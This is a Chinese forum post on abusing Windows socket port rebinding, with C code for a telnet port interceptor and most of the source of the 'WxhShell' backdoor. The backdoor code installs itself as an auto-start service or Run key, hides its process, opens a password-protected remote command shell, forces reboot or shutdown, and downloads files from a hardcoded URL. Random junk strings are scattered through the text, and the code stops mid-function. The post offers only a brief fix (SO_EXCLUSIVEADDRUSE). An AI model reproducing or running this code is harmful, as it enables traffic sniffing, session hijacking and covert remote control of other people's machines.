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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &-=K:;x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {8 N=WZ  
JIMWMk;ot  
  saddr.sin_family = AF_INET; o*-9J2V=J  
-3` "E%9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N};t<Xev  
qJ 95  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BMpF02Y|4  
M'DWu|dIBA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sXiv,  
* MEe,4  
  这意味着什么?意味着可以进行如下的攻击: 9s(i`RTM  
[A]Ca$':  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JD ]OIh  
1Fs-0)s8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0vn[a,W<A  
gM#jA8gz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \-c#jo.$8  
:@/"abv  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U;p e:  
1M+oTIN  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N 'i,>  
-6`;},Yr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a8zZgIV  
nkRK +~>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E?cZ bn*>`  
lVoik *,B  
  #include (UGol[f<  
  #include 'B`#:tX^N  
  #include c" +zgP  
  #include    #]y5z i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O#:&*Mv  
  int main() =JW[pRI5a  
  { AWT"Y4Ie  
  WORD wVersionRequested; U<[jT=L  
  DWORD ret; 4jGLAor|  
  WSADATA wsaData; U(*yL-  
  BOOL val; csDQva\  
  SOCKADDR_IN saddr; w12}Rn8  
  SOCKADDR_IN scaddr; =!CU $g  
  int err; W$'0Dc  
  SOCKET s; '_ 0  
  SOCKET sc; 5ITq?%{M  
  int caddsize; ^)0 9OV+hF  
  HANDLE mt; 5kn+ >{jh`  
  DWORD tid;   |1Hc&  
  wVersionRequested = MAKEWORD( 2, 2 ); 0% +'  
  err = WSAStartup( wVersionRequested, &wsaData ); :6D0j  
  if ( err != 0 ) { !y. $J<  
  printf("error!WSAStartup failed!\n"); .YR8v1Cp  
  return -1; ezn` _x_?  
  } \[ M_\&GC  
  saddr.sin_family = AF_INET; -zKxf@"  
   Q'K$L9q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =cn~BnowY  
?Ht=[l=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0x~`5h  
  saddr.sin_port = htons(23); e:E# b~{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `Wn Q   
  { smup,RNZRX  
  printf("error!socket failed!\n"); cDeZMsV  
  return -1; utH%y\NMF|  
  } S-!=NX&C  
  val = TRUE; 0 iR R{a<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "hPCQp`Tj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6/1$< !WH  
  { V`bs&5#Sx  
  printf("error!setsockopt failed!\n"); si(cOCj/  
  return -1; 7ZsA5%s=,  
  } -DCa   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4pPI'd&/7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $r79n-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _a5(s2wq+  
,2,5Odrz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x=*L-  
  { aWGon]2p  
  ret=GetLastError(); EB,4PEe:  
  printf("error!bind failed!\n"); OCK>%o$[  
  return -1; pM2a(\K,k^  
  }  zF: j  
  listen(s,2); Uu'dv#4Iw  
  while(1) $Q/Ya@o  
  { -5k2j^r;  
  caddsize = sizeof(scaddr); #SnvV  
  //接受连接请求 Uf$i3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Hg+ F^2<y  
  if(sc!=INVALID_SOCKET) 2f,2rW^i  
  { %Q~CB7ILK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j O8k6<l  
  if(mt==NULL) .=<$S#x^Hb  
  { E FY@Y[  
  printf("Thread Creat Failed!\n"); o8ppMM8_R[  
  break; XUS vhr$|  
  } !#}7{  
  } FS@A8Bb  
  CloseHandle(mt); H l<$a"K7\  
  } X3B{8qx_>  
  closesocket(s); :2y"3azxk  
  WSACleanup(); "HlgRp]u  
  return 0; Ns=AjhLc z  
  }   ZnfNQl[  
  DWORD WINAPI ClientThread(LPVOID lpParam) v>m n/a  
  { XUmR{A  
  SOCKET ss = (SOCKET)lpParam; d,9`<1{9  
  SOCKET sc; i9m*g*"2  
  unsigned char buf[4096]; b$- e\XB!  
  SOCKADDR_IN saddr; YI@Fhr &NU  
  long num; }V`mp  
  DWORD val; yPgmg@G@/  
  DWORD ret; ir[jCea,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8)wt$b  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s9j7Psd  
  saddr.sin_family = AF_INET; PDP[5q r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "A[ b rG  
  saddr.sin_port = htons(23); |d}MxS`^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2UadV_s+s  
  { _MfD   
  printf("error!socket failed!\n"); k \qiF|B)Z  
  return -1; e@n!x}t8  
  } L?RF;jf  
  val = 100; nE|@IGH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Em^ (  
  { J4aB Pq`  
  ret = GetLastError(); q_t4OrLr=  
  return -1; ?c#$dc"  
  } ,pt%) c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8;"*6vHZ  
  { BfmsMW  
  ret = GetLastError(); k6**u  
  return -1; ;[$n=VX`  
  } )=^w3y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `<fh+*  
  { 9|W V~  
  printf("error!socket connect failed!\n"); HeA{3s  
  closesocket(sc); OB^Tq~i  
  closesocket(ss); ;*cLG#&'M  
  return -1; {9 PR()_  
  } pq! %?m]  
  while(1) #"f' 7'TE  
  { ~?Omy8#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z@VP:au  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L,]=vba'$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tg ?x3?kw  
  num = recv(ss,buf,4096,0); Hs(D/&6%  
  if(num>0) .v\\Tq&"|  
  send(sc,buf,num,0); ~;#MpG;e  
  else if(num==0) "!UVs+)]  
  break; Es'Um,ku  
  num = recv(sc,buf,4096,0); '0t-]NAc  
  if(num>0) [aqu }Su  
  send(ss,buf,num,0); ,/,9j{|"j  
  else if(num==0) :Vuf6,  
  break; O'DW5hBL0  
  } lU2c_4  
  closesocket(ss); 7;}l\VXHm  
  closesocket(sc); o>lms t%<  
  return 0 ; t?)pl2!A  
  } 2eP ;[o  
C>QIrZu  
Oejq@iM"(  
========================================================== ktH8as^54!  
g:#d l\k  
下边附上一个代码,,WXhSHELL !<\Br  
v"Jgw;3  
========================================================== e}{U7xQm1  
V'gw\mcb  
#include "stdafx.h" pchBvly+0  
s(2GFc  
#include <stdio.h> H-5<S@8  
#include <string.h> % _M2N.n  
#include <windows.h> wts:65~  
#include <winsock2.h> +cB&Mi5  
#include <winsvc.h> >cR)?P/o  
#include <urlmon.h> 3OqX/z,  
XvGA|Ekf<  
#pragma comment (lib, "Ws2_32.lib") ]!{y a8  
#pragma comment (lib, "urlmon.lib") K k[`dR;  
@y|_d  
#define MAX_USER   100 // 最大客户端连接数 -X1X)0v$  
#define BUF_SOCK   200 // sock buffer n!ok?=(kQ  
#define KEY_BUFF   255 // 输入 buffer SZ!=`a]  
[`_io>*g  
#define REBOOT     0   // 重启 :+&AY2`  
#define SHUTDOWN   1   // 关机 @R2at  
4Yjx{5QSAG  
#define DEF_PORT   5000 // 监听端口 eE8ULtO  
uG J"!K  
#define REG_LEN     16   // 注册表键长度 sd0r'jb  
#define SVC_LEN     80   // NT服务名长度 x4K`]Fvhl  
}IkQA#4$  
// 从dll定义API HZ"Evl|n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nBLj [  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]s1 YaNq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a P()|js  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A.%CAGU5w  
B |{I:[  
// wxhshell配置信息 3:CO{=`\7B  
struct WSCFG { ;h/pnmhP  
  int ws_port;         // 监听端口 2j&@ p>  
  char ws_passstr[REG_LEN]; // 口令 >yK0iK{  
  int ws_autoins;       // 安装标记, 1=yes 0=no nKh&-E   
  char ws_regname[REG_LEN]; // 注册表键名 }At{'8*n  
  char ws_svcname[REG_LEN]; // 服务名 fnu"*5bE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sq0 PBEqq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 lPP,`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .0y%5wz8j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !]?$f=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P\R27Jd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g@v s*xE  
fP-|+Ty O  
}; A}VYb:u/  
8HErE< _(  
// default Wxhshell configuration  Qo0H  
struct WSCFG wscfg={DEF_PORT, I4_d[O9  
    "xuhuanlingzhe", lX!`zy{3k  
    1, 6j9)/H P  
    "Wxhshell", U9d:@9Y  
    "Wxhshell", }ZOFYu0f  
            "WxhShell Service", @ GDX7TPV  
    "Wrsky Windows CmdShell Service", H=MCjh&$q  
    "Please Input Your Password: ", =_TaA(79  
  1, %1U`@0  
  "http://www.wrsky.com/wxhshell.exe", 9}tG\0tL*  
  "Wxhshell.exe" C?Zw6M+  
    }; Sr.;GS5i  
kJK,6mN  
// 消息定义模块 yfNX7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y&J@?Hc>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ 0Yh!L?\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6tjcAsV  
char *msg_ws_ext="\n\rExit."; :os z  
char *msg_ws_end="\n\rQuit."; !dcwq;Ea  
char *msg_ws_boot="\n\rReboot..."; p9ZXbAJ{  
char *msg_ws_poff="\n\rShutdown..."; 7S^""*Q^  
char *msg_ws_down="\n\rSave to "; c'fSu;1  
dj9 ?t  
char *msg_ws_err="\n\rErr!"; :Ao!ls' =  
char *msg_ws_ok="\n\rOK!"; .m4;^S2cO  
[w \?j,  
char ExeFile[MAX_PATH]; 3K0tC=  
int nUser = 0; `iShJz96  
HANDLE handles[MAX_USER]; W0`Gc {  
int OsIsNt; H:{7X1bV  
{{yt*7k{  
SERVICE_STATUS       serviceStatus; Owv +1+B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YoODR  
8cg`7(a  
// 函数声明 j5 wRGn3  
int Install(void); W  0[N0c  
int Uninstall(void); [bQj,PZ&  
int DownloadFile(char *sURL, SOCKET wsh); PH4%R]{8{  
int Boot(int flag); irBDGT~  
void HideProc(void); g^>#^rLU  
int GetOsVer(void); v Y|!  
int Wxhshell(SOCKET wsl); GR4?BuY,  
void TalkWithClient(void *cs); H^%.=kf  
int CmdShell(SOCKET sock); |FR3w0o  
int StartFromService(void); l95<QI  
int StartWxhshell(LPSTR lpCmdLine); &~sfYW  
tx7~S Ur  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f6=w3RS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _O:WG&a6  
h rN%  
// 数据结构和表定义 o@E/r.uK  
SERVICE_TABLE_ENTRY DispatchTable[] = -7-['fX  
{ SpTdj^]4>  
{wscfg.ws_svcname, NTServiceMain}, p#d+>7  
{NULL, NULL} xBnbF[  
}; /FY2vDfU6  
KU&G;ni2  
// 自我安装 ,2[ra9n  
int Install(void) ?[)S7\rP  
{ D vkxI<Xa  
  char svExeFile[MAX_PATH]; TQ :/RT  
  HKEY key; d4^`}6@  
  strcpy(svExeFile,ExeFile); wVK*P -C  
QGnxQ{ko  
// 如果是win9x系统,修改注册表设为自启动 3eIr{xs  
if(!OsIsNt) { 'md0]R|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1qdZ c_x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g<*jlM1r  
  RegCloseKey(key); S4NL "m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rjA@U<o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e,1u  
  RegCloseKey(key); @)YY\l#  
  return 0; &R-H"kK?  
    } *=F(KZ  
  } B33$ u3d  
} *tQk;'/A]  
else { WPuz]Ty  
wNCCH55Pt  
// 如果是NT以上系统,安装为系统服务 /ci]}`'ws  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7()?C}Ni-  
if (schSCManager!=0) gz#4{iT~  
{ L-i>R:N4  
  SC_HANDLE schService = CreateService ]5CNk+`'  
  ( @ CsV]97`  
  schSCManager, SqPtWEq@P  
  wscfg.ws_svcname, Sq]pQ8  
  wscfg.ws_svcdisp, ;I6s-moq_  
  SERVICE_ALL_ACCESS, A/*%J74v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #~ v4caNx  
  SERVICE_AUTO_START, H. ,;-  
  SERVICE_ERROR_NORMAL, h=VqxGC&  
  svExeFile, *U7 %|wd  
  NULL, T8J4C=?/  
  NULL, haSM=;uPM  
  NULL, Gy29MUF  
  NULL, 4 2) mM#  
  NULL 'JmBh@A  
  ); q ojXrSb"y  
  if (schService!=0) w; TkkDH  
  { NC23Z0y  
  CloseServiceHandle(schService); '%iPVHK7  
  CloseServiceHandle(schSCManager); PBqy F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5a`%)K  
  strcat(svExeFile,wscfg.ws_svcname); |WQ9a' '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O_,O,1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U..<iNQE5  
  RegCloseKey(key); [IX+M#mf  
  return 0; f_mhD dq  
    } .QWhK|(.!  
  } =jAFgwP\  
  CloseServiceHandle(schSCManager); D> ef  
} 1TJ0D_,  
} s&PM,BFf  
|w&~g9   
return 1; cSD{$B:  
} 93%{scrm  
<-C!;Ce{  
// 自我卸载 BNm4k7 ]M  
int Uninstall(void) 7ET jn)%bs  
{ GuQRn  
  HKEY key; %uDG75KP{  
Gm8E<iTP  
if(!OsIsNt) { pK_?}~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fe=8O ^\  
  RegDeleteValue(key,wscfg.ws_regname); qt?*MyfV  
  RegCloseKey(key); ?Hz2-Cn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Mhpdaos  
  RegDeleteValue(key,wscfg.ws_regname); /Bv#) -5  
  RegCloseKey(key); y.a]r7  
  return 0; 5N/Lk>p1u  
  } I*)VZW  
} >9K//co"of  
} #;r]/)>  
else { 0&w0a P`Y  
Ww9;UP'G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j BS4vvX?  
if (schSCManager!=0) .(Y6$[#@  
{ _^!vCa7f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Opg#*w%-  
  if (schService!=0) [ = M%  
  { 4jwu'7 Q  
  if(DeleteService(schService)!=0) { = 7/-i  
  CloseServiceHandle(schService); = 1|"-  
  CloseServiceHandle(schSCManager); ~UMOT!4}3  
  return 0; t8J/\f=  
  } F@W*\3)  
  CloseServiceHandle(schService); '5.\#=S1  
  } }0/a\  
  CloseServiceHandle(schSCManager); Epjff@ 7A  
} @PkJY  
} vs9?+3  
H oy7RC&  
return 1; RIy\u >  
} r|Zi3+  
7Ua7A  
// 从指定url下载文件 CY"i-e"q<Q  
int DownloadFile(char *sURL, SOCKET wsh) /'&;Q7!)  
{ pO/%N94s  
  HRESULT hr; a5c'V   
char seps[]= "/"; __N.#c/l{  
char *token; !vqC+o>@  
char *file; Jbw!:x [  
char myURL[MAX_PATH]; HkjEiU  
char myFILE[MAX_PATH]; R,0Oq5  
$Xf(^K  
strcpy(myURL,sURL); G2Qjoe`Uc  
  token=strtok(myURL,seps); DZ`k[Z.VZ  
  while(token!=NULL) ~l4f{uOD>]  
  { F8mC?fbK9  
    file=token; &r_uQbx  
  token=strtok(NULL,seps); TUTe9;)  
  } |r =DBd3  
ExhL[1E  
GetCurrentDirectory(MAX_PATH,myFILE); bKz{wm%  
strcat(myFILE, "\\"); 3VO:+mT  
strcat(myFILE, file); \HSicV#i  
  send(wsh,myFILE,strlen(myFILE),0); z1j|E :  
send(wsh,"...",3,0); szq+@2:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7sV /_3H+  
  if(hr==S_OK) 3oBC   
return 0; (F5ttQPh  
else -F`he=Ev9  
return 1; h8v>zNf'  
rG6\ ynBX%  
} Jq1 n0O  
>{&A%b4JF  
// 系统电源模块 mnQ'X-q3iO  
int Boot(int flag) 4F#%f#"  
{ R } %8s*  
  HANDLE hToken; :t$A8+A+0  
  TOKEN_PRIVILEGES tkp; {8CWWfHCD  
&=w|vB)(p  
  if(OsIsNt) { z^`]7i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); avNLV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PdE>@0X?M  
    tkp.PrivilegeCount = 1; 7'j9rmTXs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !#}>Hv^N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); esq<xuZM4  
if(flag==REBOOT) { 6Z c)0I'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lo:~aJ8  
  return 0; Q"}s>]k3_  
} L3c*LL  
else { d6b.zP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Q2ZqAf^a  
  return 0; -u6#-}S  
} /bcY6b=:  
  } eE3-t/=  
  else { @YZ 4AC  
if(flag==REBOOT) { .E<Dz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +TX/g~  
  return 0; "iek,Y}j7  
} >>V&yJ_  
else { > V%Q O>C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rO^xz7K^  
  return 0;  P\(30  
} Lk nVqZ|k  
} -Bv 12ymLG  
bXvbddu)}  
return 1; ,}7_[b)&V  
} 1uM/2sX  
BjZ>hhs!*  
// win9x进程隐藏模块 `]>on`n?  
void HideProc(void) qS]G&l6QF  
{ (#u{ U=  
,+-h7^{`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G8P+A1 f/>  
  if ( hKernel != NULL ) SCq3Ds^  
  { /djACA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7^wE$7hS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2PBepgQyPU  
    FreeLibrary(hKernel); !%62Phai  
  } ;1E_o  
9[{sEg=C$e  
return; 3^~Zj95M  
} B9W/bJ6%  
Mjw[:70  
// 获取操作系统版本 ~d+O/:=K_  
int GetOsVer(void) .0 X$rX=  
{ lC{L6&T  
  OSVERSIONINFO winfo; 04\Ta  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FO^24p  
  GetVersionEx(&winfo); ?*o;o?5s^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LDX y}hm)  
  return 1; ?N _)>&b  
  else +$ ~8)95<B  
  return 0; ZgBckb  
} G5u meqYC  
npj5U/  
// 客户端句柄模块 Rp eBm#E2  
int Wxhshell(SOCKET wsl) 'FxYMSZS$  
{ BvJ\x)  
  SOCKET wsh; ^0eO\wc?O  
  struct sockaddr_in client; ybYXD?  
  DWORD myID; -x?Hj/  
D(@SnI+  
  while(nUser<MAX_USER) \E&thp  
{ JP%RTGu  
  int nSize=sizeof(client); jrcc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rk{$S"8S_  
  if(wsh==INVALID_SOCKET) return 1; T>5wQYh$'  
`skH-lk,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %IU4\ZY>  
if(handles[nUser]==0) 5~yQ>h  
  closesocket(wsh); d'q&Lq  
else `\e'K56W6  
  nUser++; 8J^d7uC  
  } +7^w9G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); At|h t  
% &2B  
  return 0; #:I^&~:  
} !p"Kd ~  
(xQI($Wq*M  
// 关闭 socket 2{gwY85:  
void CloseIt(SOCKET wsh) 2D_6  
{ ++gPv}:$X  
closesocket(wsh); ZR2\ dH*  
nUser--; `|JI\&z  
ExitThread(0); I*9Gb$]=  
} GJ>ypEWo  
l`qP~ k#  
// 客户端请求句柄 vhX-Qkt}  
void TalkWithClient(void *cs) 1"d\ mE  
{ C?(y2p`d\  
xpz`))w  
  SOCKET wsh=(SOCKET)cs; qs "s/$  
  char pwd[SVC_LEN]; 6T]Q.\5BZ  
  char cmd[KEY_BUFF]; rr>IKyI'  
char chr[1]; WQTendS  
int i,j; 63SVIc~wT  
L*IU0Jy>  
  while (nUser < MAX_USER) { +Bn?-{h=  
KG-UW  
if(wscfg.ws_passstr) { k=FcPF"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pBvo M={2!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W*3o|x   
  //ZeroMemory(pwd,KEY_BUFF); ~{9x6<g!  
      i=0; '%:5axg?]  
  while(i<SVC_LEN) { z(jU|va{_1  
9M;I$_U`vj  
  // 设置超时 [(!Q-8  
  fd_set FdRead; Zr5'TZ`$  
  struct timeval TimeOut; Lq%[A*`^  
  FD_ZERO(&FdRead); M$#+W?m&  
  FD_SET(wsh,&FdRead); Y0rf9  
  TimeOut.tv_sec=8; fo *!a$)  
  TimeOut.tv_usec=0; LuLy6]6D;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fz{o-4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2-p8rGI_F  
D . 77WjwQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F6~b#Jz&i  
  pwd=chr[0]; F61 +n!%8  
  if(chr[0]==0xd || chr[0]==0xa) { >[ @{$\?x:  
  pwd=0; ,,XS;X?  
  break; QZWoKGd}+  
  } FV`3,NFk  
  i++; X3 <SP  
    } Yo>%s4_,  
DCz\TwzU  
  // 如果是非法用户,关闭 socket N4' .a=1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,I("x2  
} <.: 5Vx(Aw  
NuHL5C?To  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LZbRQ"!!o  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gq=0L:  
Ni&,g  
while(1) { So0`c,D  
_Wq7U1v`  
  ZeroMemory(cmd,KEY_BUFF); 4;08n|C  
='KPT1dW*  
      // 自动支持客户端 telnet标准   bn5"dxV  
  j=0; 9tW3!O^_  
  while(j<KEY_BUFF) { (69kvA&|q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O2/%mFS.  
  cmd[j]=chr[0]; H 3W_}f  
  if(chr[0]==0xa || chr[0]==0xd) { x/pC%25  
  cmd[j]=0; gX/|aG$a!U  
  break; [''=><  
  } Mf!owpW T  
  j++; ,^Ex}Z  
    } ))c*_n  
:Xb*m85y  
  // 下载文件 :/ ~):tM  
  if(strstr(cmd,"http://")) { v\J!yz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =#7s+d-  
  if(DownloadFile(cmd,wsh)) C,V|TF.i2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h<t<]i'  
  else .n?5}s+q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^!N;F"  
  } Vx0MG{vG1  
  else { 7MR:X#2v>  
:k Rv  
    switch(cmd[0]) { pIk4V/ fy  
  ,q{lYX83S  
  // 帮助 0%vixR52  
  case '?': { L2:oZ&:u`J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e,PQ)1  
    break; %w;1*~bH  
  } =iA"; x  
  // 安装 r9U[-CX:"  
  case 'i': { <6~/sa4GN  
    if(Install()) `PXoJl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.x=r  
    else O%r S;o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :==UDVP  
    break; lsTe*Od  
    } jFI]54,  
  // 卸载 \z(>h&  
  case 'r': { ={e#lC  
    if(Uninstall()) $u/8Rp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+fkWq7`Xx  
    else &1\u#LU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oY| (M_;  
    break; `K1PGibV  
    } U`},)$  
  // 显示 wxhshell 所在路径 ',v0vyO8  
  case 'p': { h9@gs,'   
    char svExeFile[MAX_PATH]; p8 E;[  
    strcpy(svExeFile,"\n\r"); kW*W4{Fth  
      strcat(svExeFile,ExeFile); 3?-V>-[G_  
        send(wsh,svExeFile,strlen(svExeFile),0); C{lB/F/|!  
    break; $\=6."R5<  
    } Xmw2$MCB  
  // 重启 J~PTVR  
  case 'b': { 0ll,V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NpjsZcA  
    if(Boot(REBOOT)) Br?++\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~cWLu5  
    else { Pj^k pjV  
    closesocket(wsh); ~8S4Kj)%  
    ExitThread(0); ]kU~#WT  
    } ~XN]?5GQf  
    break; )[a?J,  
    } M $E8:  
  // 关机 *;~{_Disz  
  case 'd': { k;9#4^4(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0:nt#n~_  
    if(Boot(SHUTDOWN)) u!156X?[eU  
